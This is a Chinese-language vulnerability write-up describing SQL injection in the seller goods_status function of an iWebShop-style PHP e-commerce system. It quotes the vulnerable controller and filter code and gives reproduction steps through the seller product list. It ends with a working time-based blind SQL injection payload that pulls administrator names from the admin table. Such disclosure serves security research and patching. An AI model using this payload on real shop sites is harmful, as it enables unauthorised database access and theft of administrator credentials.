文件/controllers/seller.php
```
public function goods_status()
{
$id = IFilter::act(IReq::get('id'));
$is_del = IFilter::act(IReq::get('is_del'),'int');
$is_del = $is_del === 0 ? 3 : $is_del; //不能等于0直接上架
$seller_id = $this->seller['seller_id'];
$goodsDB = new IModel('goods');
$goodsDB->setData(array('is_del' => $is_del));
if($id)
{
if(is_array($id))
{
foreach($id as $key => $val)
{
$goodsDB->update("id = ".$val." and seller_id = ".$seller_id);
}
}
else
{
$goodsDB->update("id = ".$val." and seller_id = ".$seller_id);
}
}
$this->redirect("goods_list");
}
```
Id是这样获得的$id = IFilter::act(IReq::get('id'));,去看看IFilter::act
/lib/core/util/filter_class.php
```
/**
* @brief 对字符串进行过滤处理
* @param string $str 被过滤的字符串
* @param string $type 过滤数据类型 值: int, float, string, text, bool, url
* @param int $limitLen 被输入的最大字符个数 , 默认不限制;
* @return string 被过滤后的字符串
* @note 默认执行的是string类型的过滤
*/
public static function act($str,$type = 'string',$limitLen = false)
{
if(is_array($str))
{
foreach($str as $key => $val)
{
$resultStr[$key] = self::act($val, $type, $limitLen);
}
return $resultStr;
}
else
{
switch($type)
{
case "int":
return intval($str);
break;
case "float":
return floatval($str);
break;
case "text":
return self::text($str,$limitLen);
break;
case "bool":
return (bool)$str;
break;
case "url":
return self::clearUrl($str);
break;
case "filename":
return self::fileName($str);
break;
default:
return self::string($str,$limitLen);
break;
}
}
}
```
在获取id时,`$id = IFilter::act(IReq::get('id'));` act()没有指定第二个类型参数,所以,把`id`当作string过滤,这里是数字型的,不用闭合单引号,造成注入。
测试方法:申请开店后,在商家管理页面->商品列表->选择商品->下架
Payload:POST提交
```
id%5B%5D=1 and(select if(ord(mid((select admin_name from iwebshop_admin limit 0,1),1,1))=97,sleep(1),0))
```
暂无评论